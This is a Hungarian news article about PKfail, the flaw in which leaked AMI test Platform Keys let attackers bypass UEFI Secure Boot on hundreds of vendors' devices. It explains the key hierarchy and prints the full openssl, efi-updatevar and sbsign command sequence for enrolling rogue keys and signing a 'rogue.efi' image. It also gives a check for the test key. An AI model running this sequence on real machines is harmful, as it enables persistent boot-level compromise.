A Binarly biztonsági kutatói felfedezték, hogy a UEFI Secure Boot megbízható betöltési módját több mint 800 termék esetében meg lehet kerülni, amelyeket az Acer, Dell, Fujitsu, Gigabyte, HP, Intel, Lenovo és Supermicro gyártók készítettek. A probléma PKfail kódnevet kapott, és egy megbízhatatlan platformkulcs (PK, Platform Key) használatához kapcsolódik, amelyet az AMI (American Megatrends International) generált és tesztpéldányként biztosított. A legrégebbi firmware-ek, amelyek a tesztkulcsot használták, 2012-ben készültek, míg a legújabbak 2024 júniusára datálódnak. A kutatók adatai szerint a megvizsgált firmware-ek több mint 10%-a érintett a problémában.
A kulcsbeállítások között szerepelt, hogy megbízhatatlan, és nem szabadna a termékeikben forgalmazni. Azt feltételezték, hogy ezt a tesztkulcsot sajátra kell cserélni, de a gyártók figyelmen kívül hagyták a figyelmeztetést, és a végtermék firmware-ekben egy általános kulcsot használtak, amelyet az AMI minden partnerének és ügyfelének elküldött.
Az AMI tesztkulcsának titkos része, amely a digitális aláírások létrehozásához szükséges, nyilvánosan hozzáférhetővé vált, miután egy hardvergyártó egyik munkatársa véletlenül egy GitHub nyilvános tárolóban közzétette a kulcsot tartalmazó kódot. A titkos kulcsot egy titkosított fájlban tárolták, amelynek titkosítása egy egyszerű 4 karakterből álló jelszóval történt, amelyet könnyen ki lehetett találni kombinációs módszerrel.
A platformkulcs a megbízhatósági gyökérként szolgál az Secure Boot kulcsadatbázisának aláírásához. A platformkulcs titkos részének megszerzése a teljes megbízhatósági lánc kompromittálódásához vezet, amely a betöltött rendszer alkatrészeinek érvényesítésére szolgál — a platformkulcs ismeretében megkerülhető az Secure Boot védelme, és lehetővé válik saját alkatrészek betöltése a KEK (Key Exchange Key) kulcs és a "db" (Signature Database) valamint "dbx" (Forbidden Signature Database) adatbázisok manipulálásával. A KEK a megbízhatósági lánc létrehozásáért felel a firmware és az operációs rendszer között, a "db" a betöltőhöz és a harmadik féltől származó UEFI alkatrészekhez tartozó tanúsítványokat és aláírásokat tartalmaz, míg a "dbx" a ismert kártékony alkatrészek visszavont aláírásait tartalmazza.
Az támadás végrehajtásához elegendő új kulcsokat és tanúsítványokat generálni a KEK és az db számára, majd a nyíltan elérhető platformteszt kulcsát használni a létrehozott KEK-tanúsítvány UEFI firmware-be való betöltéséhez. Miután a KEK-tanúsítványt betöltöttük a firmware-be, a hozzá kapcsolódó titkos kulcsot felhasználhatjuk az új db tanúsítvány betöltésére. A db tanúsítvány betöltése után a hozzá kapcsolódó titkos kulcs az EFI-komponensek betöltésének aláírására alkalmazható. openssl req -newkey rsa:4096 -nodes -keyout KEK.key -new -x509 -sha256 -days 3650 -subj "\/CN=BRLY KEK\" -out KEK.crt openssl req -newkey rsa:4096 -nodes -keyout db.key -new -x509 -sha256 -days 3650 -subj "\/CN=BRLY db\" -out db.crt efi-updatevar -a -c KEK.crt -k PK.key KEK efi-updatevar -a -c db.crt -k KEK.key db sbsign —key db.key —cert db.crt —output rogue.efi.signed rogue.efi
A platform kulcs helyességének ellenőrzéséhez elegendő elindítani az "efi-readvar -v PK" segédprogramot az efitools csomagból, és meggyőződni arról, hogy a platform kulcs nem tesztkulcs: efi-readvar -v PK Variable PK, length 862 PK: List 0, type X509 Signature 0, size 834, owner 26dc4851-195f-4ae1-9a19-fbf883bbb35e Subject: CN=DO NOT TRUST — AMI Test PK Issuer: CN=DO NOT TRUST — AMI Test PK
Forrás: opennet.ru
